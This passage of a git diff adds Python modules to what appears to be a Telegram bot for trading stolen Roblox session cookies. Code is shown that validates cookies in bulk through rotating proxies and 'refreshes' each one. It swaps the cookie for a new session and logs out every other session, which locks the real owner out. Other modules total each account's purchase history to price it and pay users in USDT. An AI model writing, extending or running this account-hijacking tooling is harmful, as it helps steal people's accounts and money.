verify=False, + ) + csrf = r1.headers.get("x-csrf-token") or r1.headers.get("X-CSRF-Token") + if not csrf: + return False, "step 1 CSRF fail" + + r2 = session.post( + "https://auth.roblox.com/v1/authentication-ticket", + headers={ + "rbxauthenticationnegotiation": "1", + "referer": "https://www.roblox.com/camel", + "Content-Type": "application/json", + "x-csrf-token": csrf, + }, + cookies={".ROBLOSECURITY": cookie}, + proxies=proxies, + timeout=timeout, + verify=False, + ) + ticket = r2.headers.get("rbx-authentication-ticket") + if not ticket: + return False, "step 2 ticket fail" + + clean_session = _new_fresher_session() + r3 = clean_session.post( + "https://auth.roblox.com/v1/authentication-ticket/redeem", + headers={"rbxauthenticationnegotiation": "1"}, + json={"authenticationTicket": ticket}, + proxies=proxies, + timeout=timeout, + verify=False, + ) + new_cookie = _extract_new_cookie(r3) + if not new_cookie: + return False, "step 3 redeem fail" + if new_cookie == cookie: + return False, "rate-limited" + except Exception as exc: + return False, f"error: {type(exc).__name__}" + + try: + session2 = _new_fresher_session() + r_csrf = session2.post( + "https://auth.roblox.com/v2/logout", + cookies={".ROBLOSECURITY": new_cookie}, + proxies=proxies, + timeout=timeout, + verify=False, + ) + csrf2 = r_csrf.headers.get("x-csrf-token") or r_csrf.headers.get("X-CSRF-Token") + if csrf2: + r_log = session2.post( + "https://auth.roblox.com/v1/logoutfromallsessionsandreauthenticate", + cookies={".ROBLOSECURITY": new_cookie}, + headers={"x-csrf-token": csrf2, "Content-Type": "application/json"}, + json={}, + proxies=proxies, + timeout=timeout, + verify=False, + ) + if r_log.status_code in (200, 201, 204): + final_cookie = _extract_new_cookie(r_log) or new_cookie + return True, final_cookie + except Exception: + pass + + return True, new_cookie + + +async def fresh_cookie_async(cookie, proxy=None): + loop = asyncio.get_event_loop() + return await loop.run_in_executor(FRESHER_POOL, _sync_fresh_cookie, cookie, proxy, 15) + + +async def check_cookie_basic(session, cookie, proxy=None) -> CookieValidationResult: + try: + proxy_url = f"http://{proxy}" if proxy else None + async with session.get( + "https://users.roblox.com/v1/users/authenticated", + cookies={".ROBLOSECURITY": cookie}, + timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT), + proxy=proxy_url, + ) as response: + if response.status != 200: + return CookieValidationResult(status="invalid") + data = await response.json() + return CookieValidationResult( + status="valid", + cookie=cookie, + user_id=int(data["id"]), + username=data.get("name", "unknown"), + ) + except Exception as exc: + return CookieValidationResult(status="error", message=str(exc)) + + +async def check_cookie_with_retry(session, cookie, proxies) -> CookieValidationResult: + retries = 0 + used = set() + while retries < MAX_RETRIES: + proxy = None + if proxies: + available = [item for item in proxies if item not in used] + if available: + proxy = random.choice(available) + used.add(proxy) + else: + used.clear() + continue + try: + async with SEMAPHORE: + result = await check_cookie_basic(session, cookie, proxy) + if result.status == "valid": + return result + except Exception: + pass + retries += 1 + await asyncio.sleep(1) + return CookieValidationResult(status="invalid") + + +async def get_all_time_donate(session, cookie, user_id, proxy=None) -> int: + total = 0 + cursor = "" + proxy_url = f"http://{proxy}" if proxy else None + while True: + try: + url = f"https://economy.roblox.com/v2/users/{user_id}/transactions" + params = { + "limit": 100, + "transactionType": "Purchase", + "itemPricingType": "All", + "cursor": cursor, + } + async with session.get( + url, + params=params, + cookies={".ROBLOSECURITY": cookie}, + proxy=proxy_url, + timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT), + ) as response: + if response.status == 429: + await asyncio.sleep(3) + continue + if response.status != 200: + break + data = await response.json() + for transaction in data.get("data", []): + total += transaction.get("currency", {}).get("amount", 0) + cursor = data.get("nextPageCursor") + if not cursor: + break + except Exception: + break + if total != 0: + total = int(str(total).strip("-")) + return total + + +async def get_year_donate(cookie, user_id, proxy=None) -> int: + url = ( + f"https://economy.roblox.com/v2/users/{user_id}/transaction-totals" + "?timeFrame=Year&transactionType=summary" + ) + try: + async with aiohttp.ClientSession() as session: + async with session.get( + url, + cookies={".ROBLOSECURITY": cookie.strip()}, + allow_redirects=False, + proxy=f"http://{proxy}" if proxy else None, + timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT), + ) as response: + if response.status == 200 and response.content_type == "application/json": + data = await response.json() + donate = data.get("purchasesTotal", 0) + if donate != 0: + donate = int(str(donate).strip("-")) + return donate + except Exception: + pass + return 0 diff --git a/services/withdrawals.py b/services/withdrawals.py new file mode 100644 index 0000000..54f083f --- /dev/null +++ b/services/withdrawals.py @@ -0,0 +1,82 @@ +from __future__ import annotations + +import aiohttp +import logging + +from config import CRYPTO_PAY_TOKEN + + +async def _get_usdt_rub_rate(session: aiohttp.ClientSession) -> float: + rate = 90.0 + async with session.get( + "https://testnet-pay.crypt.bot/api/getExchangeRates", + headers={"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}, + ) as response: + data = await response.json() + if data.get("ok"): + for item in data.get("result", []): + if item.get("source") == "USDT" and item.get("target") == "RUB": + rate = float(item["rate"]) + break + return rate + + +async def create_crypto_check(amount_rub: float) -> str | None: + try: + headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN} + async with aiohttp.ClientSession() as session: + usdt_rub = await _get_usdt_rub_rate(session) + amount_usdt = round(amount_rub / usdt_rub, 4) + async with session.post( + "https://testnet-pay.crypt.bot/api/createCheck", + headers=headers, + json={"asset": "USDT", "amount": str(amount_usdt)}, + ) as response: + data = await response.json() + if data.get("ok"): + return data["result"]["bot_check_url"] + except Exception as exc: + logging.error("crypto check: %s", exc) + return None + + +async def create_treasury_invoice(amount_rub: float) -> tuple[str, int, float] | None: + try: + headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN} + async with aiohttp.ClientSession() as session: + usdt_rub = await _get_usdt_rub_rate(session) + amount_usdt = round(amount_rub / usdt_rub, 4) + async with session.post( + "https://testnet-pay.crypt.bot/api/createInvoice", + headers=headers, + json={ + "asset": "USDT", + "amount": str(amount_usdt), + "description": f"Treasury +{amount_rub} RUB", + "payload": f"treasury_{amount_rub}", + }, + ) as response: + data = await response.json() + if data.get("ok"): + result = data["result"] + return result["pay_url"], int(result["invoice_id"]), amount_usdt + except Exception as exc: + logging.error("create_treasury_invoice: %s", exc) + return None + + +async def check_treasury_invoice(invoice_id: int) -> bool: + try: + headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN} + async with aiohttp.ClientSession() as session: + async with session.get( + f"https://testnet-pay.crypt.bot/api/getInvoices?invoice_ids={invoice_id}", + headers=headers, + ) as response: + data = await response.json() + if data.get("ok"): + items = data.get("result", {}).get("items", []) + return bool(items and items[0].get("status") == "paid") + except Exception as exc: + logging.error("check_treasury_invoice: %s", exc) + return False diff --git a/states/admin.py b/states/admin.py new file mode 100644 index 0000000..efc4ef8 --- /dev/null +++ b/states/admin.py @@ -0,0 +1,12 @@ +from aiogram.fsm.state import State, StatesGroup + + +class Form(StatesGroup): + admin_broadcast = State() + admin_edit_rate = State() + admin_min_withdraw = State() + admin_treasury_amount = State() + admin_user_balance_add = State() + admin_user_balance_sub = State() + admin_user_ban_reason = State() + admin_find_user = State() diff --git a/utils/formatting.py b/utils/formatting.py new file mode 100644 index 0000000..e69de29 diff --git a/utils/logging.py b/utils/logging.py new file mode 100644 index 0000000..a7e129b --- /dev/null +++ b/utils/logging.py @@ -0,0 +1,51 @@ +import logging + +from aiogram.enums import ParseMode +from aiogram.types import CallbackQuery, FSInputFile + + +async def log_admin(bot, admin_id: int, text: str, log_bot=None) -> None: + try: + target = log_bot or bot + await target.send_message(admin_id, text, parse_mode=ParseMode.HTML) + except Exception as exc: + logging.error("log_admin: %s", exc) + + +async def log_admin_document(bot, admin_id: int, path: str, caption: str | None = None, log_bot=None) -> None: + try: + target = log_bot or bot + await target.send_document( + admin_id, + document=FSInputFile(path), + caption=caption, + parse_mode=ParseMode.HTML, + ) + except Exception as exc: + logging.error("log_admin_document: %s", exc) + + +async def safe_edit( + cb: CallbackQuery, + text: str, + reply_markup=None, + parse_mode=ParseMode.HTML, + disable_web_page_preview: bool = False, +) -> None: + try: + await cb.message.edit_text( + text, + reply_markup=reply_markup, + parse_mode=parse_mode, + disable_web_page_preview=disable_web_page_preview, + ) + except Exception: + try: + await cb.message.answer( + text, + reply_markup=reply_markup, + parse_mode=parse_mode, + disable_web_page_preview=disable_web_page_preview, + ) + except Exception as exc: + logging.error("safe_edit fail: %s", exc) diff --git a/utils/parsing.py b/utils/parsing.py new file mode 100644 index 0000000..490900e --- /dev/null +++ b/utils/parsing.py @@ -0,0 +1,17 @@ +def parse_cookies_text(text: str) -> tuple[list[str], int]: + valid = set() + duplicates = 0 + for line in text.replace("\r", "").split("\n"): + line = line.strip() + if "_|WARNING:-DO-NOT-SHARE-THIS." not in line: + continue + try: + cookie = line.split("_|WARNING:-DO-NOT-SHARE-THIS.")[1].split()[0] + full = f"_|WARNING:-DO-NOT-SHARE-THIS.{cookie}" + if full in valid: + duplicates += 1 + else: + valid.add(full) + except Exception: + pass + return list(valid), duplicates